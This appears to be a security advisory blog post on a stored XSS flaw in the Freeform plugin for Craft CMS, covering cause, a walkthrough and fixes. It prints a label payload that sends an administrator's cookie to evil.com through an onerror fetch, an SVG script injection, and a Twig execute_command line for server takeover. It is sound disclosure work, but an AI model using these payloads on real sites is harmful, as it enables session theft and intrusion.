GHSA-JP3Q-WWP3-PWV9

Freeform, Free Execution: Stored XSS in Craft CMS's Favorite Form Builder

Alon Barad
Alon Barad
Software Engineer

Jan 22, 2026·6 min read·0 visits

Executive Summary (TL;DR)

The Solspace Freeform plugin (versions <= 5.14.6) for Craft CMS contains a Stored XSS vulnerability in its Form Builder and Integrations views. Because the plugin renders user-controlled labels and SVG icons using React's `dangerouslySetInnerHTML` without sanitization, an attacker with basic 'edit form' permissions can inject malicious JavaScript. When an administrator views the compromised form builder, the script executes, leading to session hijacking and potential full site takeover.

A high-severity Stored Cross-Site Scripting (XSS) vulnerability in the Solspace Freeform plugin for Craft CMS allows low-privileged users to hijack administrator sessions via the Control Panel.

The Hook: Building Forms on Quicksand

We all love a good form builder. In the world of Craft CMS, Solspace Freeform is the heavyweight champion. It’s the tool developers install so marketing teams can drag-and-drop their way to lead generation bliss without touching a line of Twig or PHP. Ideally, this separation of concerns is a security feature: content editors edit content, developers write code.

But here is the irony: in an effort to make the UI 'rich' and interactive, the developers accidentally turned the form builder itself into an attack vector. GHSA-JP3Q-WWP3-PWV9 isn't some complex memory corruption bug deep in the PHP kernel. It is a classic failure to respect the boundaries of the browser's DOM.

This vulnerability allows a low-privileged user—think 'The Intern' or 'The Content Manager'—to plant a digital landmine inside the control panel. They don't need to hack the server; they just need to name a form field the wrong thing. Then, they sit back and wait for the SysAdmin to check on their work. Boom. Game over.

The Flaw: Dangerously Explicit

React, the library powering the Freeform Control Panel, is generally pretty good at saving developers from themselves. By default, it escapes values rendered in JSX, neutralizing standard XSS attempts. If you try to render <div>{userInput}</div> where userInput contains <script>, React will treat it as text, not code.

However, sometimes you want to render raw HTML. Maybe you want a field label to support bold text, or you want to render an SVG icon dynamically. React provides an escape hatch for this, audaciously named dangerouslySetInnerHTML. The name isn't subtle. It is literally a warning sign. It says, 'If you use this, you better know what you are doing.'

In Solspace Freeform <= 5.14.6, the developers seemingly ignored the warning label. The application takes user-controlled input—specifically Field Labels, Section Labels, and Integration Icons—and feeds them directly into this property. There was no sanitization step (like DOMPurify) and no encoding. The application implicitly trusted that anyone with permission to edit a form label was a benevolent actor. In security, implicit trust is just a vulnerability waiting for a CVE ID.

The Code: The Smoking Gun

Let's look at the mechanics. The vulnerability resides in the bundled Control Panel JavaScript (packages/plugin/src/Resources/js/client/client.js). While the exact source is minified in production, the logic flow is undeniable. A React component responsible for rendering the form builder UI accepts a label prop and renders it.

The Vulnerable Pattern:

// Pseudo-code representation of the flaw
function FieldLabel({ label }) {
  return (
    <div 
      className="field-label" 
      dangerouslySetInnerHTML={{ __html: label }} 
    />
  );
}

When a user creates a field, that label is stored in the database. When the builder loads, that string is pulled from the DB and shoved into __html. If the label is Email Address, it renders fine. If the label is <img src=x onerror=alert(1)>, the browser executes the Javascript immediately upon rendering the component.

The Fix:

The patch involves wrapping these dangerous calls in a sanitization function or removing the need for raw HTML entirely. A proper fix ensures that even if HTML is required, executable tags (like <script>, <iframe>, or event handlers like onerror) are stripped out before the DOM sees them.

The Exploit: From Label to Takeover

Let's walk through a realistic attack scenario. We assume the attacker has a compromised or malicious low-privileged account (e.g., a 'Content Editor' who has been granted permission to manage Freeform forms but not general admin rights).

Step 1: The Setup The attacker logs into the Craft CMS Control Panel and navigates to the Freeform plugin. They create a new form or edit an existing one.

Step 2: The Injection For a new Text Field, the attacker sets the Label to the following payload. This isn't just a pop-up; we want to steal the admin's session.

Project <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

Alternatively, they could target the Integrations screen by modifying an integration's "Icon SVG" property via a proxied request to include <svg><script>...</script></svg>.

Step 3: The Trap The attacker saves the form. The payload is now serialized and stored in the database.

Step 4: The Trigger A Super Administrator logs in to review the forms. They navigate to the Freeform Form Builder. As the React components mount, the malicious label is rendered. The onerror event fires immediately. The Administrator's session cookie (which likely lacks HttpOnly flags for the JS session or includes a CSRF token needed for admin actions) is silently exfiltrated to the attacker's server.

The Impact: Why Panic?

You might think, "It's just XSS, browsers have protections!" In the context of a CMS Control Panel, Stored XSS is often functionally equivalent to Remote Code Execution (RCE).

1. Privilege Escalation: If the victim is a Super Admin, the JavaScript executes with their privileges. The script can silently make AJAX requests to create a new Super Admin user for the attacker.

2. RCE via Templates: In Craft CMS, admins often have the ability to edit Twig templates or install plugins. An attacker can use the hijacked session to modify a template to include {{ execute_command('id') }}, effectively gaining shell access to the server.

3. Data Exfiltration: Forms often collect sensitive data (PII, leads, etc.). The attacker can modify the form submission logic to BCC all future entries to an external email address.

This is not a theoretical low-risk finding. If your organization uses Freeform and you have untrusted users with form-editing capabilities, your entire install is at risk.

The Fix: Closing the Window

The remediation is straightforward but urgent. You need to update the plugin code to a version that sanitizes these inputs.

Immediate Action: Update solspace/craft-freeform to version 5.14.7 or higher. This version implements proper sanitization for the affected fields.

Defense in Depth:

  1. Content Security Policy (CSP): Implement a strict CSP on your Control Panel. A policy that disallows unsafe-inline scripts would effectively block this attack, even if the vulnerable code remained. The onerror handler would be blocked from executing.
  2. Least Privilege: Review your user permissions. Does the marketing intern really need access to create and configure forms, or just view submissions? Restrict access to the Freeform builder to trusted administrators only.
  3. WAF Rules: A Web Application Firewall can potentially block the initial injection request if it detects HTML tags (like <script> or onerror=) in the POST parameters sent to the form saving endpoint.

Technical Appendix

CVSS Score
8.2/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Craft CMSSolspace Freeform Plugin

Affected Versions Detail

Product
Affected Versions
Fixed Version
solspace/craft-freeform
Solspace
<= 5.14.65.14.7
AttributeDetail
Vulnerability TypeStored Cross-Site Scripting (XSS)
Attack VectorNetwork (Authenticated)
SeverityHigh / Critical (Context Dependent)
ComponentFreeform Control Panel (Form Builder & Integrations)
Root CauseUnsanitized dangerouslySetInnerHTML usage
Authentication RequiredYes (Low Privilege)
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability Disclosed / Published
2026-01-22
GHSA-JP3Q-WWP3-PWV9 Assigned
2026-01-22

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.